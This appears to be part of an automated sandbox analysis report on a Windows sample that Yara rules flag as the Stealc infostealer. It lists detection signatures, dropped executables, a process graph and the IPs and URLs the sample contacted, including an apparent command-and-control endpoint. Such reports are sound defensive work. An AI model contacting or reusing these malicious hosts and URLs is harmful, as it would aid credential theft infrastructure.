Source: Yara match File source: 00000001.00000002.2054417626.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2053079925.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: A8A9.tmp.exe PID: 7404, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality
barindex
Yara detected Stealc
Source: Yara match File source: 1.3.A8A9.tmp.exe.2d60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.2d10e67.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.3.A8A9.tmp.exe.2d60000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.A8A9.tmp.exe.2d10e67.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000002.2054517436.0000000002E39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000003.1833028905.0000000002D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2054417626.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2053079925.0000000000400000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: A8A9.tmp.exe PID: 7404, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_004218EC Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext, 0_2_004218EC
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00420C16 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext, 0_2_00420C16
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A01B53 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext, 0_2_00A01B53
Source: C:\Users\user\Desktop\jicQJ2cdlM.exe Code function: 0_2_00A00E7D Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext, 0_2_00A00E7D
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1542867 Sample: jicQJ2cdlM.exe Startdate: 26/10/2024 Architecture: WINDOWS Score: 100 23 post-to-me.com 2->23 31 Suricata IDS alerts for network traffic 2->31 33 Found malware configuration 2->33 35 Malicious sample detected (through community Yara rule) 2->35 37 9 other signatures 2->37 8 jicQJ2cdlM.exe 1 17 2->8         started        signatures3 process4 dnsIp5 25 176.113.115.37, 49731, 80 SELECTELRU Russian Federation 8->25 27 post-to-me.com 104.21.56.70, 443, 49730 CLOUDFLARENETUS United States 8->27 19 C:\Users\user\AppData\Local\...\A8A9.tmp.exe, PE32 8->19 dropped 21 C:\Users\user\...\ScreenUpdateSync[1].exe, PE32 8->21 dropped 39 Detected unpacking (overwrites its own PE header) 8->39 13 A8A9.tmp.exe 13 8->13         started        file6 signatures7 process8 dnsIp9 29 62.204.41.177, 49732, 80 TNNET-ASTNNetOyMainnetworkFI United Kingdom 13->29 41 Antivirus detection for dropped file 13->41 43 Multi AV Scanner detection for dropped file 13->43 45 Detected unpacking (changes PE section rights) 13->45 47 4 other signatures 13->47 17 WerFault.exe 21 16 13->17         started        signatures10 process11
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
176.113.115.37
 unknown Russian Federation
49505 SELECTELRU false
62.204.41.177
 unknown United Kingdom
30798 TNNET-ASTNNetOyMainnetworkFI true
104.21.56.70
 post-to-me.com United States
13335 CLOUDFLARENETUS false

Contacted Domains

Name IP Active
post-to-me.com 104.21.56.70 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://62.204.41.177/edd20096ecef326d.php true
    		unknown
    https://post-to-me.com/track_prt.php?sub=0&cc=DE false
      		unknown
      http://62.204.41.177/ true
        		unknown